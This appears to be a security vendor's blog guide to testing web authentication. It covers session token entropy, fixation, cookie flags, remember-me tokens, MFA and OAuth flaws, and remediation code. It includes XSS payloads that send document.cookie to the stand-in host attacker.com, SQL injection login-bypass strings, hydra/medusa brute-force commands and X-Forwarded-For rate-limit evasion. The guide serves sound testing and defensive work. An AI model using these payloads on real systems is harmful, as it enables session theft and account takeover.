Broken Authentication Testing: Session Management, Tokens, and Credential Security

Authentication is the first gate every attacker tries to bypass. It is also one of the most consistently misimplemented controls in web applications, which is precisely why OWASP elevated Identification and Authentication Failures to A07 in the 2021 Top 10 — and why real-world breaches continue to trace back to weak session tokens, missing cookie flags, and credential stuffing that went undetected for months.

This guide walks through the complete authentication testing methodology: how to enumerate session token quality, test for fixation and hijacking vectors, probe bypass conditions, hammer brute-force controls, and audit the full token lifecycle from issuance to invalidation. Every technique is paired with the tooling that makes it repeatable at scale.

OWASP A07:2021 — Identification and Authentication Failures

OWASP A07:2021 consolidates what was previously called "Broken Authentication" (A02:2017) with broader identity failures. The category covers a wide surface: weak credential policies, missing MFA, predictable session tokens, improper session invalidation, default credentials left in place, and the failure to defend against automated credential attacks.

The most common root causes are:

The business impact is account takeover — and depending on what that account controls, the blast radius ranges from a single user's data to a complete administrative compromise.

Session Token Analysis: Entropy, Predictability, and Length

The foundational test is session token quality. A session token is only as secure as the randomness behind it. Tokens generated from weak entropy sources, sequential identifiers, or time-based seeds can be predicted or enumerated by an attacker.

Collecting a Token Sample

Start by collecting a statistically significant sample of tokens from the login endpoint. You need at least 200-500 tokens to draw meaningful conclusions about entropy and patterns. Use Burp Suite's Sequencer for this — it was built exactly for this task:

  1. Proxy the login request through Burp Suite
  2. Right-click the response in Proxy history and select Send to Sequencer
  3. Define the token location in the response (cookie value, response body field, or header)
  4. Start the live capture — Burp will repeatedly re-issue the login request and collect tokens
  5. After 200+ tokens, run the analysis to get FIPS 140-2 randomness test results and bit-level entropy measurements

Burp's Sequencer reports effective entropy in bits. A cryptographically secure session token should have at minimum 128 bits of effective entropy. Tokens scoring below 64 bits are practically attackable; tokens below 32 bits are trivially enumerable. The analysis will also show character-level patterns — if certain positions in the token have significantly lower entropy, that indicates structure you can exploit.

Manual Token Pattern Analysis

# Collect tokens via curl in a loop and look for patterns manually
for i in $(seq 1 20); do
  curl -s -i -X POST https://target.com/login \
    -d "username=testuser&password=Testpass1!" \
    | grep -i "set-cookie:" | grep -oP 'SESSIONID=[^;]+' | cut -d= -f2
done

# Decode base64-encoded tokens to inspect raw content
echo "dXNlcl9pZD0xMjM0JnRzPTE2OTg3NjU0MzI=" | base64 -d
# Output: user_id=1234&ts=1698765432  <-- CRITICAL: predictable, user-controlled data

Common red flags in manual analysis:

Token Length and Character Set

Minimum acceptable token parameters for a session identifier:

Parameter Minimum Recommended
Effective entropy 128 bits 256 bits
Token length (hex) 32 characters 64 characters
Token length (base64url) 24 characters 43 characters
CSPRNG source OS entropy pool OS entropy pool
Predictability No detectable bias Passes FIPS 140-2 tests

Session Fixation Vulnerabilities

Session fixation occurs when an application accepts a session token that was set before authentication and does not issue a new token after the user logs in successfully. The attack flow is:

  1. Attacker visits the application and receives (or sets) a known session token, e.g., PHPSESSID=attacker_known_value
  2. Attacker tricks the victim into authenticating using that same token — via a crafted URL like https://target.com/login?PHPSESSID=attacker_known_value
  3. Victim authenticates successfully. Application elevates the existing session to authenticated status
  4. Attacker, who already knows the token value, can now use it to access the victim's authenticated session

Testing for Session Fixation

# Step 1: Get a pre-authentication session token
PRE_AUTH_TOKEN=$(curl -s -i https://target.com/ | grep -i 'set-cookie:' | grep -oP 'PHPSESSID=[^;]+' | cut -d= -f2)
echo "Pre-auth token: $PRE_AUTH_TOKEN"

# Step 2: Use that token to authenticate
curl -s -i -X POST https://target.com/login \
  -H "Cookie: PHPSESSID=$PRE_AUTH_TOKEN" \
  -d "username=testuser&password=Testpass1!" \
  | grep -i "set-cookie:"

# Step 3: Check the response
# VULNERABLE: Set-Cookie header absent, or returns the same PHPSESSID value
# SECURE: Set-Cookie with a new, different session token value

The critical check: does the application issue a new session token in the login response? If the Set-Cookie header is absent, or if it sets the same value that was already present, the application is vulnerable to session fixation.

URL parameter fixation Some applications accept session tokens via URL parameters in addition to cookies (e.g., ?jsessionid= in older Java frameworks). If this is accepted and not rotated on login, an attacker can embed the token in a link and the victim's entire session can be hijacked by sharing that link.
# Test whether the application accepts session tokens via URL parameter
curl -s -i "https://target.com/dashboard?PHPSESSID=fixated_known_value" \
  -c /dev/null  # No cookies from browser storage, using URL param only

# If the application returns a 200 with authenticated content — URL fixation confirmed

Session Hijacking Attack Paths

Session hijacking is the theft and subsequent reuse of a legitimate session token. Understanding the vectors helps both offense and defense.

XSS-Based Token Theft

If an application is vulnerable to reflected or stored XSS and the session cookie lacks the HttpOnly flag, JavaScript can read and exfiltrate the token:

<!-- Classic document.cookie exfiltration via XSS -->
<script>
  new Image().src = "https://attacker.com/c?" + encodeURIComponent(document.cookie);
</script>

<!-- More covert: beacon API to avoid triggering image load events -->
<script>
  navigator.sendBeacon("https://attacker.com/c", document.cookie);
</script>

During testing, use your own controlled server or Burp Collaborator to verify the exfiltration path without needing a real XSS sink. The presence of a stored XSS vulnerability combined with a session cookie missing HttpOnly is a critical finding requiring two separate entries in your report.

Network Interception

Cookies transmitted over HTTP (no TLS) or set without the Secure flag can be intercepted on the network. Even on TLS-enforced sites, if the application includes a single HTTP page (including HTTP redirects), a network attacker can intercept the first request before the redirect fires and capture the cookie.

# Verify whether the Secure flag is set on session cookies
curl -s -i -X POST https://target.com/login \
  -d "username=test&password=Test1!" \
  | grep -i "set-cookie:"

# Secure cookie (correct):
# Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict

# Insecure cookie (vulnerable to network theft):
# Set-Cookie: session=abc123; Path=/

Session Token in Server Logs and Referrer Headers

If session tokens appear in URLs (either as query parameters or as part of path segments), they will be captured in web server access logs, proxy logs, and browser history — and may leak via the Referer header when a user clicks an external link from an authenticated page:

# Test for token-in-URL patterns
# Look for authenticated endpoints where the session identifier appears in the URL
curl -v "https://target.com/dashboard?session_id=abc123&user=1234"

# Check whether the Referer header would expose the token to external sites
# If the user clicks an external link from https://target.com/profile?token=abc,
# the Referer header sent to the external site would include the token

Insecure Cookie Attributes

Cookie security flags are the first and cheapest line of defence for session tokens. Missing flags are simple to test and frequently found even in production applications.

Testing All Cookie Security Attributes

# Parse all Set-Cookie headers from a login response
curl -s -i -X POST https://target.com/login \
  -d "username=user&password=Pass1!" \
  | grep -i "set-cookie:" | tee /tmp/cookies.txt

# Check each cookie for required flags
python3 - <<'EOF'
import re, sys

cookies_raw = open("/tmp/cookies.txt").readlines()
for line in cookies_raw:
    line = line.strip()
    if not line:
        continue
    name = line.split("Set-Cookie:")[1].strip().split("=")[0].strip()
    flags = {
        "Secure": "Secure" in line,
        "HttpOnly": "HttpOnly" in line,
        "SameSite": "SameSite=" in line,
        "SameSite-Value": re.search(r"SameSite=(\w+)", line, re.I).group(1) if re.search(r"SameSite=(\w+)", line, re.I) else "MISSING",
        "Path": "/" in line,
    }
    print(f"\nCookie: {name}")
    for k, v in flags.items():
        status = "OK" if v else "MISSING"
        print(f"  {k}: {v} [{status}]")
EOF

The minimum required attributes for any session or authentication cookie:

Attribute Purpose Impact if Missing
Secure Cookie only sent over HTTPS Token exposed on HTTP connections, network interception
HttpOnly JavaScript cannot read the cookie XSS attacks can steal session tokens
SameSite=Strict Cookie not sent in cross-site requests CSRF attacks can make authenticated requests
Path=/ Scopes cookie to application root Other paths on same domain can access the cookie
Domain (restrict) Limit cookie to specific hostname Subdomains inherit the cookie if set to parent domain
SameSite=None without Secure Applications supporting cross-origin embedded flows (iframes, third-party SSO) sometimes set SameSite=None. Per RFC, this requires the Secure attribute. Browsers will reject the cookie if Secure is absent, but some older browser versions do not enforce this, creating an inconsistent security boundary.

"Remember Me" Token Vulnerabilities

Persistent login tokens — the "Remember Me" checkbox — are a separate and often weaker token family from session cookies. They need to survive browser restarts, which means they must be stored persistently and have long lifetimes. This makes their security properties critically important.

Common Remember-Me Weaknesses

Predictable token construction is the most critical finding. Some implementations generate remember-me tokens as base64(username:password_hash) or md5(username + timestamp) — both are trivially guessable once the construction is understood.

# Test whether a remember-me token encodes user-controlled data
# Collect the token after login with "remember me" checked
REMEMBER_TOKEN=$(curl -s -i -X POST https://target.com/login \
  -d "username=testuser&password=Test1!&remember=1" \
  | grep -i "remember_token\|persistent\|longterm" \
  | grep -oP '=[^;]+' | head -1 | tr -d '=')

# Decode from base64
echo "$REMEMBER_TOKEN" | base64 -d 2>/dev/null

# Decode from hex
echo "$REMEMBER_TOKEN" | xxd -r -p 2>/dev/null | cat

# Test token reuse: does the same token work from a different IP/user-agent?
curl -s -i https://target.com/dashboard \
  -H "Cookie: remember_token=$REMEMBER_TOKEN" \
  -H "User-Agent: Mozilla/5.0 (Attacker Machine)"

Excessive token lifetime is a separate concern. Remember-me tokens have legitimate use cases, but a token valid for years is effectively a permanent backdoor. Test the expiry:

# Check the Expires or Max-Age attribute on the persistent cookie
curl -s -i -X POST https://target.com/login \
  -d "username=testuser&password=Test1!&remember=1" \
  | grep -i "set-cookie:" | grep -i "expires\|max-age"

# Parse Max-Age to days
# Max-Age=2592000 = 30 days (acceptable)
# Max-Age=31536000 = 365 days (excessive for most applications)
# Max-Age=315360000 = 10 years (almost certainly a defect)

Token invalidation on logout is frequently missed. Log out, then test whether the remember-me token still authenticates:

# Step 1: Login and capture the remember-me cookie
REMEMBER=$(curl -s -i -X POST https://target.com/login \
  -d "remember=1&username=testuser&password=Test1!" \
  -c /tmp/cookies.jar | grep remember_token | awk '{print $NF}')

# Step 2: Perform logout
curl -s -i -X POST https://target.com/logout \
  -b /tmp/cookies.jar

# Step 3: Attempt to re-authenticate using ONLY the remember-me token
# (no session cookie — that was cleared by logout)
curl -s -i https://target.com/dashboard \
  -H "Cookie: remember_token=$REMEMBER"

# If the response is 200 with authenticated content, the token survived logout

The secure implementation uses a database-backed token table: each remember-me token is a random 256-bit value stored with a server-side hash, associated with a specific user and device fingerprint, and invalidated immediately on logout, password change, or explicit revocation from a "sessions" management page.

Authentication Bypass Techniques

Authentication can often be bypassed without touching the session layer at all — by subverting the login logic itself.

SQL Injection in Login Forms

SQL injection at the login endpoint remains effective when login queries are constructed via string concatenation rather than parameterized queries. Classic test payloads:

# Classic OR-based bypass
username: admin'--
password: anything

# Targets a query like:
# SELECT * FROM users WHERE username='$user' AND password='$pass'
# Becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
# The -- comments out the password check

# Alternative payloads
username: ' OR '1'='1
username: ' OR 1=1--
username: admin'/*
password: */OR/**/1=1--

# Test using sqlmap against the login endpoint
sqlmap -u "https://target.com/login" \
  --data="username=test&password=test" \
  --level=3 --risk=2 \
  --string="Welcome" \
  --technique=B \
  --dbms=mysql

Parameter Manipulation and Mass Assignment

Some applications pass user role or authentication status as form parameters or JSON body fields that are trusted without server-side validation:

# Test adding role/admin parameters to login POST body
curl -s -i -X POST https://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"Test1!","role":"admin","is_admin":true}'

# Test adding admin flags to the session after login
curl -s -i -X POST https://target.com/profile/update \
  -H "Cookie: session=valid_session" \
  -d "username=testuser&email=test@example.com&is_admin=1"

# Test manipulating the authentication response from an API
# Some SPAs trust a JSON authentication response including role fields;
# if those fields are reflected into localStorage without server validation,
# they can be manipulated client-side

Default and Hardcoded Credentials

Test all administrative interfaces, default installation pages, and vendor-documented credential lists. Common targets: admin panels (/admin, /administrator, /wp-admin, /manager), framework defaults, and database management interfaces left exposed.

# Use a curated default credentials list
hydra -L /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
  -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
  https://target.com http-post-form \
  "/admin/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -f

# Check for admin panel exposure with common paths
for path in admin administrator wp-admin manager console panel; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com/$path/)
  echo "$path: $code"
done

Password Policy Testing

Password policies create the floor under which user credentials cannot fall. A weak policy directly enables brute-force attacks. Test the effective policy by attempting to set passwords that violate expected security requirements:

# Test minimum length enforcement
curl -s -i -X POST https://target.com/register \
  -d "username=testuser99&password=a&confirm_password=a"

# Test complexity requirements — try each weak pattern
for pw in "password" "123456" "abc" "Password" "Password1"; do
  echo -n "Testing '$pw': "
  curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/register \
    -d "username=testuser99&password=$pw&confirm_password=$pw"
  echo ""
done

# Test whether password change enforces the same policy
curl -s -i -X POST https://target.com/account/change-password \
  -H "Cookie: session=valid_session" \
  -d "current_password=OldPass1!&new_password=a&confirm_password=a"

Beyond minimum length and complexity, document whether the application:

Account Lockout and Brute-Force Protection Testing

Brute-force protection is testable systematically. The controls to verify are: lockout threshold, lockout duration, lockout scope, IP-based rate limiting, CAPTCHA, and detection alerting.

Testing Lockout Threshold

# Use Burp Suite Intruder with a null payload on the password field
# to send the same username with incrementally different passwords
# and observe when the response changes (locked out)

# Or use a custom script to count attempts until lockout
for i in $(seq 1 20); do
  RESPONSE=$(curl -s -i -X POST https://target.com/login \
    -d "username=victim@example.com&password=WrongPass$i")
  STATUS=$(echo "$RESPONSE" | grep -i "HTTP/" | head -1 | awk '{print $2}')
  BODY_HINT=$(echo "$RESPONSE" | grep -ioE "locked|throttl|too many|wait|captcha" | head -1)
  echo "Attempt $i: HTTP $STATUS | $BODY_HINT"
done

Record at what attempt count the application changes its response: does it lock the account, add a CAPTCHA, slow responses, or silently continue accepting guesses? If no change occurs after 20 failed attempts, the application likely has no brute-force protection.

Testing IP-Based Rate Limiting Bypass

IP-based rate limiting is often bypassable through header manipulation when the application trusts forwarded-for headers:

# Test whether X-Forwarded-For spoofing bypasses IP rate limits
for i in $(seq 1 50); do
  curl -s -i -X POST https://target.com/login \
    -H "X-Forwarded-For: 10.0.$((RANDOM % 255)).$((RANDOM % 255))" \
    -H "X-Real-IP: 192.168.$((RANDOM % 255)).$((RANDOM % 255))" \
    -d "username=admin@target.com&password=Attempt$i" \
    | grep -i "HTTP/\|locked\|invalid\|captcha" | head -1
done

# Common bypass headers to test
# X-Forwarded-For
# X-Real-IP
# X-Originating-IP
# X-Remote-IP
# X-Remote-Addr
# CF-Connecting-IP

Hydra and Medusa for Brute-Force Validation

# Hydra against HTTP form-based login
hydra -l admin@target.com \
  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  https://target.com https-post-form \
  "/login:email=^USER^&password=^PASS^:Invalid email or password" \
  -t 4 -w 3 -f -V

# Medusa for HTTP POST
medusa -u admin@target.com \
  -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt \
  -h target.com -M http \
  -m DIR:/login -m FORM:"email=&password=" \
  -m DENY-SIGNAL:"Invalid credentials" \
  -t 2 -f

# Test with Burp Suite Intruder using cluster bomb attack type
# for username enumeration combined with password guessing

Username Enumeration via Response Differences

A subtle but important test: do failed login responses differ based on whether the username exists? Enumeration via distinct error messages ("Username not found" vs. "Incorrect password") or via response timing gives attackers a list of valid usernames to attack.

# Compare response timing and content for valid vs. invalid usernames
# Known-valid user
time curl -s -X POST https://target.com/login \
  -d "username=existing@target.com&password=WrongPass1!" -o /dev/null

# Known-invalid user
time curl -s -X POST https://target.com/login \
  -d "username=doesnotexist99@invalid.com&password=WrongPass1!" -o /dev/null

# Compare response body hashes
curl -s -X POST https://target.com/login \
  -d "username=existing@target.com&password=WrongPass1!" | md5sum
curl -s -X POST https://target.com/login \
  -d "username=doesnotexist99@invalid.com&password=WrongPass1!" | md5sum

If the timing differs by more than ~50ms consistently, or if response bodies differ in content (not just session IDs), username enumeration is present. This should be reported as a medium finding that amplifies the brute-force risk.

Multi-Step Authentication Flow Vulnerabilities

Multi-step login flows — step 1: username, step 2: password, step 3: MFA code — introduce state management vulnerabilities that don't exist in single-step forms.

Step Skipping and Direct Object Reference

The most common finding: step 2 or step 3 does not verify that steps 1 and 2 were actually completed. An attacker who can observe the step-transition URL can jump directly to the final step:

# Normal flow: /login/step1 -> /login/step2?user=victim -> /login/step3?token=mfa
# Attack: directly request step3 with a known user identifier

# Step 1: complete normally with your own account, observe step3 URL
# Step 2: substitute the victim's user ID into the step3 request

curl -s -i "https://target.com/login/step3" \
  -H "Cookie: session=your_step1_session" \
  -d "user_id=victim_id&mfa_bypass=true"

# Also test whether step 2 can be reached without a valid step 1 token
curl -s -i "https://target.com/login/step2" \
  -d "username=admin@target.com"
# If it proceeds to ask for a password without requiring the step1 CSRF token, steps aren't linked

Incomplete MFA Validation

When MFA is enforced, test whether the post-MFA session token is only issued after the MFA step, or whether a session with elevated privileges is already accessible after step 1 (username/password) before MFA is completed:

# After completing username+password, capture the intermediate session token
PARTIAL_SESSION=$(curl -s -i -X POST https://target.com/login \
  -d "username=testuser&password=Test1!" \
  | grep "set-cookie:" | grep session | awk '{print $2}')

# Without submitting the MFA code, try to access an authenticated resource
curl -s -i https://target.com/dashboard \
  -H "Cookie: $PARTIAL_SESSION"

# Also test: does submitting an incorrect MFA code still eventually grant access?
for code in 000000 111111 123456 999999; do
  echo "Testing MFA code $code:"
  curl -s -i -X POST https://target.com/login/mfa \
    -H "Cookie: $PARTIAL_SESSION" \
    -d "code=$code" | grep "HTTP/" | head -1
done

OAuth and SSO Misconfiguration

OAuth 2.0 and SSO integrations introduce a new category of authentication bypass at the protocol level. The most common vulnerabilities are redirect_uri validation failures and missing state parameter (CSRF protection).

redirect_uri Bypass

# Baseline: observe the legitimate redirect_uri in the authorization request
# https://auth.provider.com/oauth/authorize?
#   client_id=app123&
#   redirect_uri=https://target.com/oauth/callback&
#   response_type=code&
#   state=xyz

# Test 1: Open redirect via path traversal in redirect_uri
https://auth.provider.com/oauth/authorize?
  client_id=app123&
  redirect_uri=https://target.com/oauth/callback/../../../attacker.com&
  response_type=code&state=xyz

# Test 2: Subdomain matching abuse (if provider uses startsWith validation)
redirect_uri=https://target.com.attacker.com/oauth/callback

# Test 3: Query string injection
redirect_uri=https://target.com/oauth/callback?next=https://attacker.com

# Test 4: Fragment confusion
redirect_uri=https://target.com/oauth/callback%23@attacker.com

# Test 5: URI scheme confusion
redirect_uri=https://target.com/oauth/../attacker.com/callback

A successful redirect_uri bypass allows an attacker to receive the authorization code intended for the legitimate application, then exchange it for an access token against the legitimate application — effectively stealing the victim's OAuth-mediated session.

Missing State Parameter (OAuth CSRF)

# Check whether state parameter is present and validated
# Step 1: Start OAuth flow, observe the state parameter
# Step 2: Initiate a second OAuth flow from a different session
# Step 3: Use the callback URL from step 1 (with code from step 1)
#         in the session from step 2
# If the application processes it, state is not validated

# Automated check: initiate flow without state
curl -v "https://auth.provider.com/oauth/authorize?\
client_id=app123&\
redirect_uri=https://target.com/oauth/callback&\
response_type=code"
# Note: no state= parameter
# If the provider accepts this without error, state is optional — OAuth CSRF is possible

Token Lifecycle: Creation, Rotation, and Invalidation

A complete session management audit must verify the entire token lifecycle, not just the initial issuance. Tokens that survive events where they should be invalidated are a persistent risk even when initially strong.

Token Rotation Events to Test

Event Expected Behaviour Common Failure
Successful login New token issued, pre-auth token invalidated Pre-auth token elevated (fixation)
Privilege escalation (sudo) New token with elevated claim issued Same session token with privilege flag added client-side
Password change All existing sessions invalidated Old sessions remain valid (allows attacker retention)
Explicit logout Session token invalidated server-side Cookie deleted client-side only; server still accepts token
Account locked Active sessions terminated immediately Active sessions survive until natural expiry
MFA added/changed All sessions except current invalidated No session invalidation triggered
# Test: does logout actually invalidate the session server-side?
# Step 1: Login and capture session token
SESSION=$(curl -s -i -X POST https://target.com/login \
  -d "username=testuser&password=Test1!" \
  | grep "set-cookie:" | grep -oP 'session=[^;]+')

# Step 2: Logout
curl -s -i -X POST https://target.com/logout \
  -H "Cookie: $SESSION"

# Step 3: Attempt to use the now-"logged out" session
curl -s -i https://target.com/dashboard \
  -H "Cookie: $SESSION" \
  | head -20

# If the application returns authenticated content — server-side invalidation is missing
# Test: does password change invalidate other concurrent sessions?
# Terminal A: Login as testuser, capture session A
# Terminal B: Login as testuser from a different location, capture session B

# Change password in terminal A's session
curl -s -i -X POST https://target.com/account/change-password \
  -H "Cookie: $SESSION_A" \
  -d "current_password=OldPass1!&new_password=NewPass2!&confirm=NewPass2!"

# Test session B (should now be invalid)
curl -s -i https://target.com/dashboard \
  -H "Cookie: $SESSION_B" \
  | grep "HTTP/" | head -1

Testing Tools Reference

Burp Suite Intruder for Credential Attacks

Burp Suite Intruder is the primary tool for controlled credential-based attacks during a pentest. The key configurations:

Configure Intruder resource pool settings to throttle requests (1 concurrent request, 500ms delay) to avoid triggering lockout mechanisms during testing. Use Grep - Match on the response to flag successful logins by their distinct body string.

Hydra

# HTTP Basic Authentication
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
  https://target.com http-get "/admin/"

# HTTP form POST with CSRF token handling (use Burp to pre-extract CSRF token)
hydra -l admin@target.com -P wordlist.txt \
  https://target.com https-post-form \
  "/login:_token=CSRF_TOKEN&email=^USER^&password=^PASS^:These credentials do not match" \
  -t 1 -w 2

Custom Python Scripts for Token Analysis

#!/usr/bin/env python3
"""Collect session tokens and perform basic entropy analysis."""
import requests, hashlib, statistics, base64, string

TARGET = "https://target.com/login"
CREDS = {"username": "testuser", "password": "Test1!"}
COOKIE_NAME = "session"
SAMPLES = 100

tokens = []
session = requests.Session()

for _ in range(SAMPLES):
    r = session.post(TARGET, data=CREDS, allow_redirects=False)
    if COOKIE_NAME in r.cookies:
        tokens.append(r.cookies[COOKIE_NAME])
    session.cookies.clear()

if not tokens:
    print("No tokens collected — check cookie name")
    exit(1)

print(f"Collected {len(tokens)} tokens")
print(f"Token lengths: min={min(len(t) for t in tokens)}, max={max(len(t) for t in tokens)}")

# Check uniqueness
unique = len(set(tokens))
print(f"Unique tokens: {unique}/{len(tokens)} ({'OK' if unique == len(tokens) else 'CRITICAL: DUPLICATES FOUND'})")

# Character frequency analysis — look for biased positions
if all(len(t) == len(tokens[0]) for t in tokens):
    token_len = len(tokens[0])
    for pos in range(token_len):
        chars_at_pos = [t[pos] for t in tokens]
        most_common = max(set(chars_at_pos), key=chars_at_pos.count)
        freq = chars_at_pos.count(most_common) / len(tokens)
        if freq > 0.5:
            print(f"  BIAS at position {pos}: '{most_common}' appears {freq:.1%} of the time")

# Common prefix detection
common_prefix = ""
for i in range(len(tokens[0])):
    if all(t[i] == tokens[0][i] for t in tokens):
        common_prefix += tokens[0][i]
    else:
        break
if common_prefix:
    print(f"Common prefix detected: '{common_prefix}' ({len(common_prefix)} chars)")

Documenting Authentication Findings

Authentication findings require precise documentation because the same vulnerability (e.g., no server-side session invalidation) can have very different severity depending on what the application does. Structure each finding as follows:

Finding Structure Template

Field Content
Title Specific and non-generic: "Session Token Not Invalidated on Logout at /api/auth/logout"
Severity CVSS v3.1 score with vector string. Credential bypass typically 9.8; missing HttpOnly flag ~6.1
Description Technical explanation of the vulnerability mechanism (2-4 sentences)
Evidence Exact HTTP request/response proving the vulnerability — never paraphrase, show the raw traffic
Impact Specific business impact: "An attacker who steals a session token via XSS retains access even after the victim logs out"
Remediation Specific code-level fix with framework context where possible
References OWASP ASVS control IDs, CWE numbers, CVE if applicable

Always include raw HTTP evidence using Burp Suite's "Copy as curl command" or "Save item" export. A screenshot of a successful login with a stolen token is the most persuasive artifact for clients who push back on authentication findings.

Remediation: Secure Session Management Best Practices

The remediation guidance must be specific enough to implement. Generic advice ("use secure sessions") is not actionable. Here is implementation-level guidance organized by control:

Token Generation

# Python — use secrets module (cryptographically secure)
import secrets
session_token = secrets.token_urlsafe(32)  # 256 bits of entropy, URL-safe base64

# Node.js — use crypto module
const crypto = require('crypto');
const sessionToken = crypto.randomBytes(32).toString('hex');  // 256 bits

# Java — use SecureRandom
import java.security.SecureRandom;
import java.util.Base64;
SecureRandom sr = new SecureRandom();
byte[] token = new byte[32];
sr.nextBytes(token);
String sessionToken = Base64.getUrlEncoder().withoutPadding().encodeToString(token);

# PHP — use random_bytes (PHP 7+)
$sessionToken = bin2hex(random_bytes(32));  // 256 bits, hex-encoded

Cookie Configuration

# Python / Django
SESSION_COOKIE_SECURE = True       # Secure flag
SESSION_COOKIE_HTTPONLY = True     # HttpOnly flag
SESSION_COOKIE_SAMESITE = 'Strict' # SameSite=Strict
SESSION_COOKIE_AGE = 3600          # 1 hour absolute expiry

# Node.js / Express with express-session
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,       // Secure flag
    httpOnly: true,     // HttpOnly flag
    sameSite: 'strict', // SameSite=Strict
    maxAge: 3600000     // 1 hour
  }
}));

# Set-Cookie header (raw)
Set-Cookie: session=TOKEN; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

Session Lifecycle Management

# Python — invalidate all sessions for a user on password change
# Using Django's session framework with custom user model
from django.contrib.sessions.backends.db import SessionStore
from django.contrib.sessions.models import Session

def invalidate_all_user_sessions(user_id):
    """Invalidate all sessions belonging to a specific user."""
    sessions = Session.objects.filter(expire_date__gte=timezone.now())
    for session in sessions:
        data = session.get_decoded()
        if data.get('_auth_user_id') == str(user_id):
            session.delete()

# Call this on password change, account compromise, or admin-forced logout
invalidate_all_user_sessions(request.user.id)

Brute-Force Protection

# Redis-backed rate limiting (Python)
import redis
import time

r = redis.Redis(host='localhost', port=6379, db=0)

def check_login_rate_limit(ip: str, username: str) -> bool:
    """Returns True if the attempt is allowed, False if rate-limited."""
    # Per-IP limit: 20 attempts per 15 minutes
    ip_key = f"login:ip:{ip}"
    # Per-username limit: 10 attempts per 15 minutes (prevents enumeration-bypass)
    user_key = f"login:user:{username}"

    pipe = r.pipeline()
    pipe.incr(ip_key)
    pipe.expire(ip_key, 900)   # 15 minutes
    pipe.incr(user_key)
    pipe.expire(user_key, 900)
    results = pipe.execute()

    ip_count, _, user_count, _ = results
    if ip_count > 20 or user_count > 10:
        return False
    return True

Authentication weaknesses — predictable session tokens, missing cookie flags, absent server-side invalidation, and exposed brute-force surfaces — are among the highest-impact findings in any web application assessment. They are also among the most consistently missed in self-assessment because they require both protocol-level knowledge and the right tooling to surface.

Ironimo automatically tests your application's authentication layer: session token entropy, cookie attribute completeness, session invalidation behaviour, and brute-force control effectiveness. You get the findings professional pentesters look for, without the invoice that comes with them.

Start free scan
← Back to Blog